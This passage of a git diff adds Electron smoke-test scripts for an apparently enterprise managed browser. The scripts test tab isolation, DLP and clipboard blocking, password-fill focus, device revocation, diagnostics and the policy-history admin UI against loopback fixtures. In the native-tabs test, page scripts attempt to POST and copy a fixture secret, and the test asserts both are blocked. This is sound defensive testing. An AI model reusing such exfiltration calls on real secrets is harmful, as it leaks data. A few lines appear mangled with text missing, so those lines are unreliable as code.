+ const report={native:true,centralSignedPublication:true,plaintextPolicyRejected:true,lockedAppearanceDirectIPCRejected:true,hiddenSectionsDirectIPCRejected:true,globalSettingsHiddenRejected:true,liveUnlockApplied:true,vaultLockAlwaysAvailable:true,contentPersisted:false}; + mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/managed-settings-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();for(const server of [management,sink])if(server){server.closeAllConnections();await new Promise(resolve=>server.close(resolve));}store?.db.close(); +} diff --git a/scripts/native-tabs-smoke.cjs b/scripts/native-tabs-smoke.cjs new file mode 100644 index 0000000..3966deb --- /dev/null +++ b/scripts/native-tabs-smoke.cjs @@ -0,0 +1,35 @@ +const {app,BrowserWindow,webContents}=require('electron');const assert=require('node:assert/strict'),fs=require('node:fs'),path=require('node:path'); +app.setPath('userData',process.env.SAFETYNET_TABS_USERDATA);app.disableHardwareAcceleration();require('../apps/browser/main.cjs'); +function finish(code){for(const contents of webContents.getAllWebContents()){if(contents.getURL().endsWith('index.html'))continue;require('../apps/browser/page-clipboard-guard.cjs').disposePageClipboardGuard(contents);}app.exit(code);} +const wait=ms=>new Promise(r=>setTimeout(r,ms));async function until(fn,label){for(let i=0;i<150;i++){if(await fn())return;await wait(100);}throw Error(label+' timed out');} +app.whenReady().then(async()=>{try{ + let win;await until(()=>{win=BrowserWindow.getAllWindows()[0];return win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html');},'Shell'); + const run=code=>win.webContents.executeJavaScript(code),state=async()=>{const r=await run('window.safetynet.state()');assert.equal(r.ok,true,r.error);return r.data;}; + const invoke=async(method,value)=>{const r=await run(`window.safetynet[${JSON.stringify(method)}](${JSON.stringify(value)})`);assert.equal(r.ok,true,r.error);return r.data;}; + await invoke('enroll',{server:process.env.SAFETYNET_TABS_SERVER,code:process.env.SAFETYNET_TABS_CODE});const base=process.env.SAFETYNET_TABS_SINK; + await until(async()=>{const s=await state();return s.tabs?.length===1&&s.tabs[0].url===base+'/';},'Initial managed native tab'); + const aId=(await state()).activeTabId;const a=webContents.getAllWebContents().find(w=>w.getURL()===base+'/');assert.ok(a);await until(()=>!a.isLoading(),'Initial page'); + assert.deepEqual(await a.executeJavaScript('({node:typeof require,bridge:typeof window.safetynet})'),{node:'undefined',bridge:'undefined'}); + await a.executeJavaScript("document.getElementById('remember').value='A survives';window.scrollTo(0,800)"); + const before=(await (await fetch(base+'/counts')).json()).requests['/']; + await run("document.getElementById('new-tab').click()");await until(async()=>{const s=await state();return s.tabs.length===2&&s.activeTabId!==aId;},'New tab UI'); + const bId=(await state()).activeTabId;assert.equal((await state()).tabs.find(t=>t.id===bId).startPage,true); + await run(`document.getElementById('address').value=${JSON.stringify(base+'/b')};document.getElementById('address-form').requestSubmit()`); + await until(async()=>{const s=await state();return s.tabs.find(t=>t.id===bId)?.url===base+'/b';},'Second native page');const b=webContents.getAllWebContents().find(w=>w.getURL()===base+'/b');assert.ok(b);await until(()=>!b.isLoading(),'Second page');assert.notEqual(a.id,b.id); + await b.executeJavaScript("document.getElementById('remember').value='B survives'"); + const clickTab=id=>run(`(()=>{const element=[...document.querySelectorAll('#tab-strip .browser-tab')].find(el=>el.dataset.tabId===${JSON.stringify(id)});if(!element)throw Error('Tab UI missing');element.querySelector('.tab-label').click()})()`); + await clickTab(aId);await until(async()=>(await state()).activeTabId===aId,'Switch A');assert.equal(await a.executeJavaScript("document.getElementById('remember').value"),'A survives');assert.equal(await a.executeJavaScript('Math.round(scrollY)'),800);assert.equal((await (await fetch(base+'/counts')).json()).requests['/'],before,'Selecting a tab reloaded it'); + await a.executeJavaScript("document.getElementById('next').click()",true);await until(()=>a.getURL()===base+'/a-two'&&!a.isLoading(),'A history');await invoke('back');await until(()=>a.getURL()===base+'/'&&!a.isLoading(),'A back'); + await clickTab(bId);await until(async()=>(await state()).activeTabId===bId,'Switch B');assert.equal(await b.executeJavaScript("document.getElementById('remember').value"),'B survives');await b.executeJavaScript("document.getElementById('next').click()",true);await until(()=>b.getURL()===base+'/b-two'&&!b.isLoading(),'B history');await invoke('back');await until(()=>b.getURL()===base+'/b'&&!b.isLoading(),'B back');assert.equal(a.getURL(),base+'/','B history changed A'); + for(const page of [a,b]){const blocked=await page.executeJavaScript(`fetch(${JSON.stringify(base+'/blocked')},{method:'POST',body:'TAB_FIXTURE_SECRET'}).then(()=>false).catch(()=>true)`);assert.equal(blocked,true,'Inactive/active tab DLP bypass');assert.deepEqual(await page.executeJavaScript('({node:typeof require,bridge:typeof window.safetynet})'),{node:'undefined',bridge:'undefined'});assert.equal(await page.executeJavaScript('navigator.clipboard.writeText("TAB_FIXTURE_SECRET").then(()=>false).catch(()=>true)'),true,'Site clipboard bypass');} + fs.mkdirSync('artifacts',{recursive:true});fs.writeFileSync('artifacts/native-tabs.png',(await win.webContents.capturePage()).toPNG()); + await invoke('closeTab',aId);assert.equal(a.isDestroyed(),true);await invoke('closeTab',bId);assert.equal(b.isDestroyed(),true);const final=await state();assert.equal(final.tabs.length,1);assert.equal(final.tabs[0].startPage,true);assert.notEqual(final.activeTabId,bId);await until(async()=>await run("!document.getElementById('start-page').hidden"),'Fresh start page'); + const fresh=webContents.getAllWebContents().find(w=>w!==win.webContents&&w.getURL()==='about:blank');assert.ok(fresh,'Closing last tab did not create native replacement');assert.deepEqual(await fresh.executeJavaScript('({node:typeof require,bridge:typeof window.safetynet})'),{node:'undefined',bridge:'undefined'}); + const revokedA=final.activeTabId;await invoke('navigate',{url:base+'/revoke-a',tabId:revokedA});await until(()=>webContents.getAllWebContents().some(w=>w.getURL()===base+'/revoke-a'&&!w.isLoading()),'Revocation A');const revokePageA=webContents.getAllWebContents().find(w=>w.getURL()===base+'/revoke-a'); + await invoke('createTab',{});const revokedB=(await state()).activeTabId;await invoke('navigate',{url:base+'/revoke-b',tabId:revokedB});await until(()=>webContents.getAllWebContents().some(w=>w.getURL()===base+'/revoke-b'&&!w.isLoading()),'Revocation B');const revokePageB=webContents.getAllWebContents().find(w=>w.getURL()===base+'/revoke-b'); + const collectorStatus=async()=>await (await fetch(process.env.SAFETYNET_TABS_COLLECTOR+'/status')).json();await until(async()=>{const status=await collectorStatus();return ['browser.ipc','browser.navigation','browser.dns','browser.request'].every(name=>status.names.includes(name))&&status.logs>0&&status.parentChild&&status.correlatedLogs;},'Actual native diagnostics export'); + const enrolled=(await state()).deviceId;const response=await fetch(`${process.env.SAFETYNET_TABS_SERVER}/api/admin/devices/${enrolled}/revoke`,{method:'POST',headers:{Authorization:`Bearer ${process.env.SAFETYNET_TABS_ADMIN}`,'content-type':'application/json'},body:'{}'});assert.equal(response.status,200);await until(async()=>!(await state()).ready,'Central revocation'); + for(const page of [revokePageA,revokePageB]){assert.equal(page.isDestroyed(),false,'Revocation proof lost native view before request assertion');assert.equal(await page.executeJavaScript(`fetch(${JSON.stringify(base+'/revoked-public')},{method:'POST',body:'Public after revocation'}).then(()=>false).catch(()=>true)`),true,'Revoked background/foreground page sent request');} + await wait(500);const stoppedExports=(await collectorStatus()).exports;for(let i=0;i<5;i++)await state();await wait(600);assert.equal((await collectorStatus()).exports,stoppedExports,'Revoked browser continued diagnostic export'); + const report={actualNativeWebContents:true,actualChromeUi:true,independentDomAndScroll:true,noReloadOnSwitch:true,independentHistory:true,allTabsDlp:true,siteClipboardDenied:true,remoteNodeUnavailable:true,closedContentsDestroyed:true,lastTabFreshGuard:true,centralRevocationAllTabs:true,actualBrowserDiagnostics:true,diagnosticsStoppedOnRevocation:true};fs.mkdirSync('artifacts',{recursive:true});fs.writeFileSync('artifacts/native-tabs-proof.json',JSON.stringify(report,null,2));console.log('NATIVE_TABS_PROOF_OK '+JSON.stringify(report));finish(0); + }catch(error){console.error('NATIVE_TABS_PROOF_FAILED '+error.stack);finish(1);}}); diff --git a/scripts/native-tabs-smoke.mjs b/scripts/native-tabs-smoke.mjs new file mode 100644 index 0000000..0687b5a --- /dev/null +++ b/scripts/native-tabs-smoke.mjs @@ -0,0 +1,28 @@ +import assert from 'node:assert/strict'; +import {createServer} from 'node:http'; +import {createRequire} from 'node:module'; +import {mkdtempSync,rmSync,mkdirSync,writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join,resolve,sep,basename} from 'node:path'; +import {spawn} from 'node:child_process'; +import {randomBytes} from 'node:crypto'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-native-tabs-')); +let sink,management,collector,store,child;const requests={},posts=[],diagnosticRequests=[];let privateSentinels=[]; +const diagnosticStatus=()=>{const spans=diagnosticRequests.filter(r=>r.path.endsWith('/traces')).flatMap(r=>r.payload.resourceSpans||[]).flatMap(r=>r.scopeSpans||[]).flatMap(r=>r.spans||[]);const logs=diagnosticRequests.filter(r=>r.path.endsWith('/logs')).flatMap(r=>r.payload.resourceLogs||[]).flatMap(r=>r.scopeLogs||[]).flatMap(r=>r.logRecords||[]);return {exports:diagnosticRequests.length,names:[...new Set(spans.map(span=>span.name))],spans:spans.length,logs:logs.length,timings:spans.every(span=>BigInt(span.endTimeUnixNano)>=BigInt(span.startTimeUnixNano)&&span.attributes.some(a=>a.key==='safetynet.duration.ms')),parentChild:spans.some(child=>child.parentSpanId&&spans.some(parent=>parent.spanId===child.parentSpanId&&parent.traceId===child.traceId)),correlatedLogs:logs.some(log=>log.traceId&&spans.some(span=>span.traceId===log.traceId&&span.spanId===log.spanId)),sensitivePresent:privateSentinels.some(secret=>JSON.stringify(diagnosticRequests).includes(secret))};}; +try{ + collector=createServer((req,res)=>{if(req.method==='GET'&&req.url==='/status'){res.setHeader('content-type','application/json');res.end(JSON.stringify(diagnosticStatus()));return;}const chunks=[];req.on('data',chunk=>chunks.push(chunk));req.on('end',()=>{diagnosticRequests.push({path:req.url,payload:JSON.parse(Buffer.concat(chunks).toString())});res.setHeader('content-type','application/json');res.end('{}');});}).listen(0,'127.0.0.1');await new Promise(r=>collector.once('listening',r));const collectorUrl=`http://127.0.0.1:${collector.address().port}`; + sink=createServer((req,res)=>{const path=new URL(req.url,'http://localhost').pathname;requests[path]=(requests[path]||0)+1; + if(path==='/counts'){res.setHeader('content-type','application/json');res.end(JSON.stringify({requests,posts}));return;} + if(req.method==='POST'){posts.push(path);req.resume();res.end('received');return;} + res.setHeader('content-type','text/html');res.end(`${path}

Native tab ${path}

Unstyled fixture content
`); + }).listen(0,'127.0.0.1');await new Promise(r=>sink.once('listening',r));const url=`http://127.0.0.1:${sink.address().port}`; + store=openStore(join(directory,'management'));const policy=store.get('policy');policy.diagnostics={...policy.diagnostics,enabled:true,mode:'debug',endpoint:collectorUrl,sampleRate:1,debugSampleRate:1,flushIntervalMs:250};policy.browser.homeUrl=url;policy.browser.allowedHosts=['127.0.0.1'];policy.dlp.rules=[{id:'fixture-secret',label:'Fixture secret',kind:'literal',value:'TAB_FIXTURE_SECRET',action:'block'}];store.put('policy',policy); + const code=randomBytes(32).toString('base64url'),adminToken=randomBytes(32).toString('base64url');privateSentinels=[code,adminToken,'TAB_FIXTURE_SECRET'];store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'synthetic-native-tabs-user'); + const config={adminToken,publicUrl:'http://127.0.0.1',secure:false};management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>management.once('listening',r));config.publicUrl=`http://127.0.0.1:${management.address().port}`; + const env={...process.env,SAFETYNET_TABS_COLLECTOR:collectorUrl,SAFETYNET_TABS_SERVER:config.publicUrl,SAFETYNET_TABS_CODE:code,SAFETYNET_TABS_ADMIN:adminToken,SAFETYNET_TABS_SINK:url,SAFETYNET_TABS_USERDATA:join(directory,'browser'),SAFETYNET_SMOKE_USERDATA:join(directory,'browser')};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/native-tabs-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',b=>process.stdout.write(b));child.stderr.on('data',b=>{const message=String(b).replaceAll(code,'[fixture enrollment]').replaceAll(adminToken,'[fixture admin]');process.stderr.write(message);}); + const timer=setTimeout(()=>child.kill(),120000);const codeExit=await new Promise(r=>{child.once('exit',c=>r(c??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(codeExit,0,'Actual native tabs proof failed'); + assert.equal(posts.length,0,'Blocked fixture data reached receiver');const diagnostics=diagnosticStatus();assert.ok(diagnostics.spans>0&&diagnostics.logs>0&&diagnostics.timings&&diagnostics.parentChild&&diagnostics.correlatedLogs);assert.equal(diagnostics.sensitivePresent,false);for(const name of ['browser.ipc','browser.navigation','browser.dns','browser.request'])assert.ok(diagnostics.names.includes(name),`Missing native timing ${name}`);writeFileSync('artifacts/native-browser-diagnostics-proof.json',JSON.stringify(diagnostics,null,2));mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/native-tabs-receiver-proof.json',JSON.stringify({noBlockedPosts:true,requests,posts},null,2)); +}finally{child?.kill();for(const server of [management,sink,collector])if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-native-tabs-'))throw Error('Unsafe fixture cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100});} diff --git a/scripts/package.mjs b/scripts/package.mjs new file mode 100644 index 0000000..458f204 --- /dev/null +++ b/scripts/package.mjs @@ -0,0 +1,23 @@ +import { spawnSync } from 'node:child_process'; +import {readFileSync,readdirSync} from 'node:fs'; +import {createHash} from 'node:crypto'; +import {createRequire} from 'node:module'; +import path from 'node:path'; +const platform=process.argv[2];if(platform!=='win'||process.platform!=='win32')throw Error('Windows is the active build target; other platforms are deferred'); +const runtime=spawnSync(process.env.SAFETYNET_BUILD_PYTHON||'python',['scripts/provision-windows-runtime.py'],{stdio:'inherit'});if(runtime.status!==0)process.exit(runtime.status??1); +const semantic=spawnSync(process.env.SAFETYNET_BUILD_PYTHON||'python',['scripts/provision-semantic-runtime.py','--verify'],{stdio:'inherit'});if(semantic.status!==0)process.exit(semantic.status??1); +const name=process.env.BRAND_NAME||'SafetyNet',id=process.env.BRAND_APP_ID||'enterprise.safetynet.browser'; +if(!/^[\w .-]{1,40}$/.test(name)||!/^[a-z][a-z0-9]*(?:\.[a-z][a-z0-9]*){2,}$/.test(id))throw Error('Invalid white-label product name or app ID'); +const configuration=JSON.parse(readFileSync('package.json','utf8')),workspace=path.resolve('.'),output=path.resolve(configuration.build.directories.output); +if(!output.startsWith(workspace+path.sep))throw Error('Build output must stay inside the workspace'); +// Reuse the pinned installed distribution already exercised by native tests. +// This avoids a second archive extraction and Windows directory-rename locks. +const electronDirectory=path.dirname(createRequire(import.meta.url)('electron')); +if(readFileSync(path.join(electronDirectory,'version'),'utf8').trim().replace(/^v/,'')!==configuration.devDependencies.electron)throw Error('Installed Electron does not match the build pin'); +function sourceSnapshot(){const entries=[];function walk(directory){for(const item of readdirSync(directory,{withFileTypes:true})){const file=path.join(directory,item.name);if(item.isDirectory())walk(file);else if(item.isFile())entries.push([file,createHash('sha256').update(readFileSync(file)).digest('hex')]);}}for(const directory of ['apps/browser','packages/core'])walk(directory);entries.push(['package.json',createHash('sha256').update(readFileSync('package.json')).digest('hex')]);return JSON.stringify(entries.sort((a,b)=>a[0].localeCompare(b[0])));} +const sourcesBefore=sourceSnapshot(); +const r=spawnSync(process.execPath,['node_modules/electron-builder/out/cli/cli.js',`--${platform}`,'--dir',`--config.electronDist=${electronDirectory}`,`--config.productName=${name}`,`--config.appId=${id}`],{stdio:'inherit',env:process.env}); +if(r.status!==0)process.exit(r.status??1); +if(sourceSnapshot()!==sourcesBefore)throw Error('Browser sources changed during packaging; discard this artifact and rebuild from stable sources'); +const resources=path.join(output,'win-unpacked/resources'); +const acl=spawnSync(path.join(resources,'python/python.exe'),[path.join(resources,'inspector/provision_runtime_acl.py'),'--provision'],{stdio:'inherit',windowsHide:true});process.exit(acl.status??1); diff --git a/scripts/password-focus-smoke.cjs b/scripts/password-focus-smoke.cjs new file mode 100644 index 0000000..fb06f8f --- /dev/null +++ b/scripts/password-focus-smoke.cjs @@ -0,0 +1,30 @@ +'use strict'; +if(!process.versions.electron){ + const {spawnSync}=require('node:child_process');const env={...process.env};delete env.ELECTRON_RUN_AS_NODE; + const result=spawnSync(require('electron'),[__filename],{env,stdio:'inherit',windowsHide:true,timeout:45000});process.exit(result.status??1); +}else{ + const {app,BrowserWindow,WebContentsView,session}=require('electron'); + const fs=require('node:fs'),path=require('node:path'),https=require('node:https'),assert=require('node:assert/strict'); + const {X509Certificate}=require('node:crypto');const {fillScript}=require('../apps/browser/password-fill.cjs'); + app.enableSandbox();app.disableHardwareAcceleration(); + app.whenReady().then(async()=>{let server,win;const views=[];try{ + const cert=fs.readFileSync(path.join(__dirname,'../tests/fixtures/icap/cert.pem')),key=fs.readFileSync(path.join(__dirname,'../tests/fixtures/icap/key.pem')); + const fingerprint=new X509Certificate(cert).fingerprint256; + server=https.createServer({cert,key},(_req,res)=>{res.setHeader('content-type','text/html');res.end('
');}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + const origin=`https://127.0.0.1:${server.address().port}`,ses=session.fromPartition('password-focus-proof'); + // Trust only this public synthetic certificate on loopback, in this fixture. + ses.setCertificateVerifyProc((request,callback)=>callback(request.hostname==='127.0.0.1'&&new X509Certificate(request.certificate.data).fingerprint256===fingerprint?0:-2)); + win=new BrowserWindow({show:true,width:700,height:500}); + for(let i=0;i<2;i++){const v=new WebContentsView({webPreferences:{session:ses,nodeIntegration:false,contextIsolation:true,sandbox:true}});views.push(v);win.contentView.addChildView(v);v.setBounds({x:0,y:0,width:700,height:500});await v.webContents.loadURL(origin+'/login');} + const a=views[0],b=views[1],credential={origin,username:'fixture-user',password:'synthetic-focus-proof-password'}; + const execute=()=>a.webContents.executeJavaScriptInIsolatedWorld(999,[{code:fillScript(origin+'/login',credential)}],false); + b.setVisible(false);a.setVisible(true);win.focus();a.webContents.focus(); + await new Promise(r=>setTimeout(r,200));assert.equal((await execute()).completed,true); + await a.webContents.executeJavaScript('document.querySelectorAll("input").forEach(e=>e.value="")'); + a.setVisible(false);b.setVisible(true);b.webContents.focus();await new Promise(r=>setTimeout(r,200)); + await assert.rejects(execute()); + assert.equal(await a.webContents.executeJavaScript('document.querySelector("input[type=password]").value'),''); + fs.mkdirSync(path.join(__dirname,'../artifacts'),{recursive:true});fs.writeFileSync(path.join(__dirname,'../artifacts/password-focus-proof.json'),JSON.stringify({actualNativeViews:true,foregroundAllowed:true,hiddenBlurredFillDenied:true,noCredentialWriteToHiddenTab:true},null,2)); + console.log('Native password foreground proof passed.'); + }catch(error){console.error(error.message);process.exitCode=1;}finally{for(const v of views)if(!v.webContents.isDestroyed())v.webContents.close({waitForBeforeUnload:false});win?.destroy();if(server)await new Promise(r=>{server.closeAllConnections();server.close(r);});app.exit(process.exitCode||0);}}); +} diff --git a/scripts/policy-history-admin-smoke.cjs b/scripts/policy-history-admin-smoke.cjs new file mode 100644 index 0000000..575a398 --- /dev/null +++ b/scripts/policy-history-admin-smoke.cjs @@ -0,0 +1,27 @@ +'use strict'; +const {app,BrowserWindow}=require('electron');const assert=require('node:assert/strict');const fs=require('node:fs');const path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);app.commandLine.appendSwitch('force-device-scale-factor','1'); +let window;const deadline=setTimeout(()=>{console.error('ADMIN_UI_PROOF_TIMEOUT');app.exit(1);},50000); +async function evaluate(source){return window.webContents.executeJavaScript(source,true);} +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Administrator UI state did not arrive');} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + await evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require,bridge:typeof safetynet})`),{node:'undefined',require:'undefined',bridge:'undefined'}); + const headers=await evaluate(`fetch(location.href).then(r=>({csp:r.headers.get('content-security-policy'),type:r.headers.get('x-content-type-options')}))`);assert.ok(headers.csp.includes("script-src 'self'"));assert.ok(headers.csp.includes("frame-ancestors 'none'"));assert.equal(headers.type,'nosniff'); + await evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`); + await evaluate(`document.getElementById('brand-name').value='History test brand';document.getElementById('security-dns-hosts').value='blocked.synthetic.example';document.getElementById('security-dns-ips').value='203.0.113.10';document.getElementById('security-content-phrases').value='synthetic forbidden project';document.getElementById('agent-enabled').checked=true;document.getElementById('agent-hosts').value='*.synthetic.example';document.getElementById('agent-scope-read').checked=true;document.getElementById('publish').click()`); + await waitFor(`document.getElementById('policy-version').textContent==='v2'&&document.getElementById('status').textContent.includes('published')`); + assert.equal(await evaluate(`document.getElementById('security-dns-hosts').value`),'blocked.synthetic.example');assert.equal(await evaluate(`document.getElementById('agent-enabled').checked`),true);assert.equal(await evaluate(`document.getElementById('agent-scope-read').checked`),true); + await evaluate(`document.getElementById('security-controls').scrollIntoView()`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,200));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/admin-security-controls.png'),(await window.webContents.capturePage()).toPNG()); + await evaluate(`document.getElementById('brand-name').value='Unpublished draft';document.getElementById('history-load').click()`);await waitFor(`document.querySelectorAll('#history-rows tr').length===2`); + assert.equal(await evaluate(`document.getElementById('brand-name').value`),'Unpublished draft'); + await evaluate(`document.querySelectorAll('#history-rows button')[1].click()`);await waitFor(`!document.getElementById('history-review').hidden`); + assert.equal(await evaluate(`document.getElementById('history-restore').disabled`),true);assert.equal(await evaluate(`document.getElementById('brand-name').value`),'Unpublished draft');assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v2');assert.ok((await evaluate(`document.getElementById('history-diff-list').textContent`)).includes('/brand/name')); + await evaluate(`document.getElementById('history-review').scrollIntoView();document.getElementById('console-theme').value='dark';document.getElementById('console-theme').dispatchEvent(new Event('change'))`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,300));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/policy-history-admin.png'),(await window.webContents.capturePage()).toPNG()); + await evaluate(`globalThis.__originalPrincipal=currentPrincipal;applyOperatorPermissions({sub:'synthetic-auditor',role:'auditor',permissions:['overview.read','audit.read','policy.read','teaching.read']});`);assert.equal(await evaluate(`document.getElementById('history-approve').disabled&&document.getElementById('history-restore').disabled&&document.getElementById('agent-enabled').disabled`),true);await evaluate(`applyOperatorPermissions(globalThis.__originalPrincipal);delete globalThis.__originalPrincipal`); + await evaluate(`document.getElementById('history-approve').checked=true;document.getElementById('history-approve').dispatchEvent(new Event('change'));document.getElementById('history-restore').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v3'&&document.getElementById('status').textContent.includes('restored')`); + assert.equal(await evaluate(`document.getElementById('brand-name').value`),'SafetyNet');assert.equal(await evaluate(`document.getElementById('agent-enabled').checked`),false);assert.equal(await evaluate(`document.getElementById('security-dns-hosts').value`),'');assert.equal(await evaluate(`document.querySelectorAll('#history-rows tr').length`),3);assert.equal(await evaluate(`globalThis.__proofErrors`),0); + console.log('HISTORY_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('HISTORY_ADMIN_PROOF_FAILED',error.message);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/policy-history-admin-smoke.mjs b/scripts/policy-history-admin-smoke.mjs new file mode 100644 index 0000000..5e6596c --- /dev/null +++ b/scripts/policy-history-admin-smoke.mjs @@ -0,0 +1,26 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-policy-history-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false}; + store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run('synthetic-bookmark-device','Synthetic bookmark device','win32','synthetic-user','synthetic-unused',new Date().toISOString()); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/policy-history-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('HISTORY_ADMIN_PROOF_OK'))console.log('Policy history administrator interface workflow passed.');});child.stderr.on('data',data=>{const text=String(data);if(text.includes('HISTORY_ADMIN_PROOF_'))console.error(text.trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Policy history administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,3);assert.equal(policy.brand.name,'SafetyNet');assert.equal(policy.agents.enabled,false);assert.deepEqual(policy.security.dns.blockedHosts,[]);assert.deepEqual(policy.security.content.blockedPhrases,[]); + const report={actualAdministratorUi:true,persistedHistory:true,serverDiff:true,explicitRestoreApproval:true,monotonicRestore:true,draftPreservedDuringReview:true,structuredDnsContentAgentControls:true,nodeUnavailable:true,cspPreserved:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/policy-history-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-policy-history-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} diff --git a/scripts/profiles-admin-smoke.cjs b/scripts/profiles-admin-smoke.cjs new file mode 100644 index 0000000..10abcd4 --- /dev/null +++ b/scripts/profiles-admin-smoke.cjs @@ -0,0 +1,34 @@ +'use strict'; +const {app,BrowserWindow}=require('electron');const assert=require('node:assert/strict');const fs=require('node:fs');const path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);app.commandLine.appendSwitch('force-device-scale-factor','1'); +let window;const deadline=setTimeout(()=>{console.error('ADMIN_UI_PROOF_TIMEOUT');app.exit(1);},50000); +async function evaluate(source){return window.webContents.executeJavaScript(source,true);} +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Administrator UI state did not arrive: '+await evaluate(`document.getElementById('status').textContent`));} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + window.webContents.on('did-finish-load',()=>evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`).catch(()=>{})); + await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + await evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require,bridge:typeof safetynet})`),{node:'undefined',require:'undefined',bridge:'undefined'}); + const headers=await evaluate(`fetch(location.href).then(r=>({csp:r.headers.get('content-security-policy'),type:r.headers.get('x-content-type-options')}))`);assert.ok(headers.csp.includes("script-src 'self'"));assert.ok(headers.csp.includes("frame-ancestors 'none'"));assert.equal(headers.type,'nosniff'); + const reviewProof=process.env.SAFETYNET_PROFILE_REVIEW_PROOF==='1'; + if(reviewProof){await window.webContents.session.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value:process.env.SAFETYNET_PROFILE_OPERATOR_TOKEN,httpOnly:true,sameSite:'lax'});await window.reload();await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`);} + else { + await evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await 